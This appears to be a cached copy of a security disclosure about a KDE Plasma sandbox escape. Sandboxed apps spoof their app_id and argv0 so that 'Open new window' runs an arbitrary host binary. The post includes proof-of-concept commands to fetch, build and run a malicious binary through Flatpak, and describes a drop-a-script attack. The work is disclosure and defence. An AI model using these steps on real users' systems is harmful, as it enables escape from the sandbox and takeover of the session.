在 KDE Plasma 中突破沙箱的任意代码执行

Lobsters Hottest 新闻

摘要

KDE Plasma 中存在一个漏洞,允许沙箱化应用(例如 Flatpak)通过“打开新窗口”操作逃逸并在主机上执行任意代码,同时冒充其他应用。已提供概念验证。

<p><a href="https://lobste.rs/s/ovcwkm/arbitrary_code_execution_breaking">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/07/03 04:19

# KDE Plasma 中任意代码执行突破沙箱 来源:https://blog.kimiblock.top/2026/07/01/arbitrary-code-execution-in-kde-plasma/ ## https://blog.kimiblock.top/2026/07/01/arbitrary-code-execution-in-kde-plasma/#PoCPoC 此概念验证演示了恶意沙箱化应用(此处为 Flatpak,但任何沙箱均适用,无论是否支持安全上下文)在用户触发 *打开新窗口* 操作时,如何伪装成主机上的其他应用,更关键的是,如何生成并执行任意二进制文件。 本演示使用 Arch Linux 主机,依赖 `wget`、`unzip`、`meson` 构建恶意二进制文件,并使用 Flatpak 应用 `io.github.johannesboehler2.BmiCalculator`(无任何授权,除了需要传入的恶意二进制文件——因为直接在 Flatpak 内构建并不容易)。 你需要将 kcalc(`/usr/bin/kcalc`)作为指定目标。 在主机上构建恶意二进制文件: ``` 123456 ``` ``` cd /tmp wget https://github.com/Kimiblock/mesa-demos-argv0/archive/refs/heads/argv0.zip unzip argv0.zip cd mesa-demos-argv0-argv0 meson setup build meson compile -C build/ ``` 安装 Flatpak 应用并将该二进制文件提供给它: ``` 123 ``` ``` flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo flatpak install -y io.github.johannesboehler2.BmiCalculator --user flatpak override io.github.johannesboehler2.BmiCalculator --filesystem=/tmp/mesa-demos-argv0-argv0/build/src/egl/opengl/eglgears_wayland ``` 现在一切就绪,运行恶意二进制文件: ``` 1 ``` ``` flatpak run --command=/tmp/mesa-demos-argv0-argv0/build/src/egl/opengl/eglgears_wayland io.github.johannesboehler2.BmiCalculator ``` 注意在*任务栏*中,*KCalc* 的图标会显示。如果右键点击并选择*打开新窗口*,指定的二进制文件 `/usr/bin/kcalc` 就会以无沙箱状态启动,位于 app.slice cgroup 中,使用主机的挂载命名空间,完全暴露。 ## https://blog.kimiblock.top/2026/07/01/arbitrary-code-execution-in-kde-plasma/#DiscoveryDiscovery 在 KDE Plasma(QEMU 虚拟机中)测试 Portable 沙箱时,我们偶然发现某些窗口没有关联正确的 .desktop 文件,导致它们以通用的“Wayland”图标显示在任务栏中。这一问题已在KWin 完全信任应用提供的 app_id (https://bugs.kde.org/show_bug.cgi?id=502309) 中报告,允许应用伪装成其他应用。 ## https://kimiblock.top/2026/07/01/arbitrary-code-execution-in-kde-plasma/#Something-hits-the-fanSomething hits the fan 从那以后,我们一直不清楚这个特定桌面环境下的具体工作机制。于是我决定进行另一项实验。这次出现了一个新的异常:当意外中键点击任务栏时(默认情况下会触发特定应用的“打开新窗口”),应用按预期启动了一个新窗口,但它似乎没有记住我保存的登录凭据,也没有使用任何修改过的设置。进一步检查,结合从 *KWin 调试控制台* 获取的 PID 以及来自 procfs 的控制组和根文件系统信息,一个完整的沙箱逃逸场景浮出水面。 ## https://kimiblock.top/2026/07/01/arbitrary-code-execution-in-kde-plasma/#ExplainationExplaination 很明显,当我在虚拟机中意外触发中键点击时,发生了完整的沙箱逃逸。 ## https://kimiblock.top/2026/07/01/arbitrary-code-execution-in-kde-plasma/#What%E2%80%99s-it-doingWhat’s it doing? 基于 KWin 无法将窗口关联到真实 .desktop 文件这一事实,必然存在某种机制仍能让它找到要执行的 argv0。我猜测是 `/proc/PID/cmdline`,并且事实证明正确。请看下面的演示。 ## https://kimiblock.top/2026/07/01/arbitrary-code-execution-in-kde-plasma/#It%E2%80%99s-a-dumpster-fireIt’s a dumpster fire 这并不仅限于在沙箱外启动已有的应用实例。因为任何进程(包括无特权的进程)都可以修改自己的 argv0(参见change it’s argv0 (https://www.uofr.net/~greg/processname.html))。注意,挂载命名空间也是一种有效选择,但灵活性较差。结合 app_id 缺少防护,读取 `/proc/PID/cmdline` 的不安全性,就构成了一个强大的漏洞,允许在主机上执行任意代码。 ## https://kimiblock.top/2026/07/01/arbitrary-code-execution-in-kde-plasma/#Demo-timeDemo time 此演示由GalaxySnail (https://github.com/GalaxySnail) 编写,因为我对 C 语言了解有限。我们将使用 Mesa 的 eglgears-wayland 作为演示。 1. 克隆仓库:`git clone https://github.com/Kimiblock/mesa-demos-argv0.git --depth=1` 2. 切换工作目录:`cd mesa-demos-argv0/` 3. 编辑 `src/egl/opengl/eglgears.c` 中 main 函数内的指定命令,改为你想要的内容(bash 脚本、编译好的二进制文件,随你喜欢) 4. 构建:`meson setup build && meson compile -C build` 5. 执行载荷:`./build/src/egl/opengl/eglgears_wayland` 6. 打开新窗口(中键点击图标,或在右键菜单中选择) 7. 我们指定的恶意二进制文件启动 ## https://kimiblock.top/2026/07/01/arbitrary-code-execution-in-kde-plasma/#Cool-now-whatCool, now what? 真实的攻击可能会在用户的 `$HOME` 目录下生成一个 shell 脚本(该目录通常以相同路径存在于主机上)。恶意应用可以修改自己的 argv0,指向它自动生成或静默下载的二进制文件,当用户点击“打开新窗口”或意外中键点击应用图标时,就能完全控制会话。这展示了一种强大的攻击方式,然而我们并未收到 KDE 安全邮箱的任何回复。 如果 KDE Plasma 想要以任何方式堵住这个漏洞,那么它首先应该通过安全上下文 / XdpAppInfo 或控制组从沙箱中获取应用 ID,而不是信任应用提供的 ID。同时,当某个窗口无法匹配到 .desktop 文件时,它应该禁止“打开新窗口”操作。 ## https://kimiblock.top/2026/07/01/arbitrary-code-execution-in-kde-plasma/#TimelineTimeline 注意:在原始邮件中,我错误地将任意代码执行简写成了 RCE。 所有事件均使用 UTC +8 时区,24 小时制记录。 时间 | 事件 ----|------ 2026 年 4 月 1 日 23:51 | 第一封邮件发送至 [[email protected]](mailto:[email protected]) 2026 年 4 月 2 日 00:15 | David Edmundson [[email protected]](mailto:[email protected]) 回复邮件,确认收到报告 2026 年 4 月 2 日 00:24 | David Edmundson [[email protected]](mailto:[email protected]) 表示该函数“使用那个 .desktop 文件中的 Exec=”,并且“他们认为这不能用于执行任意代码” 2026 年 4 月 2 日 11:59 | 在 GalaxySnail (https://github.com/GalaxySnail) 的帮助下,我成功运行了另一个 PoC,确认该漏洞不依赖任何 .desktop 文件 2026 年 4 月 2 日 18:26 | 向 [[email protected]](mailto:[email protected]) 发送了一封后续邮件,附上漏洞利用文件和解释,但未收到回复 2026 年 5 月 2 日 11:59 | 使用 Plasma 6.7 Beta 进行检查,发现漏洞仍未修复 2026 年 7 月 2 日 18:30 | 漏洞已超过 90 天等待期且仍处于活跃状态,因此我们决定公开此漏洞 由于漏洞未得到修补且未收到后续回复,结合典型的 90 天等待期,我们决定公开此漏洞,以引起更多关注。 特别感谢GalaxySnail (https://github.com/GalaxySnail) 编写了此概念验证代码。 这并非旨在批评 KDE 开发者。开源项目近期遭受了大量垃圾信息轰炸,且人类有精力限制。但流程仍有改进空间。

相似文章

objdump -g 中的任意代码执行

Lobsters Hottest

objdump -g 中存在一个安全漏洞,由于 FR30 重定位处理程序缺少边界检查,通过精心构造的 FR30 目标文件可实现任意代码执行,单个漏洞利用即可绕过 ASLR 及其他缓解措施。

@ghumare64: https://x.com/ghumare64/status/2055329887431393309

X AI KOLs Timeline

深入探讨为何本地编码代理(如Claude Code和Codex)正逐渐转向libkrun而非Firecracker进行沙盒隔离,原因是Firecracker无法在macOS上原生运行。本文还介绍了iii-sandbox,一个基于libkrun构建的开源硬件隔离执行层。

沙盒化令人抓狂

Lobsters Hottest

一篇技术博客,讨论实现安全沙盒技术的复杂性与挫败感。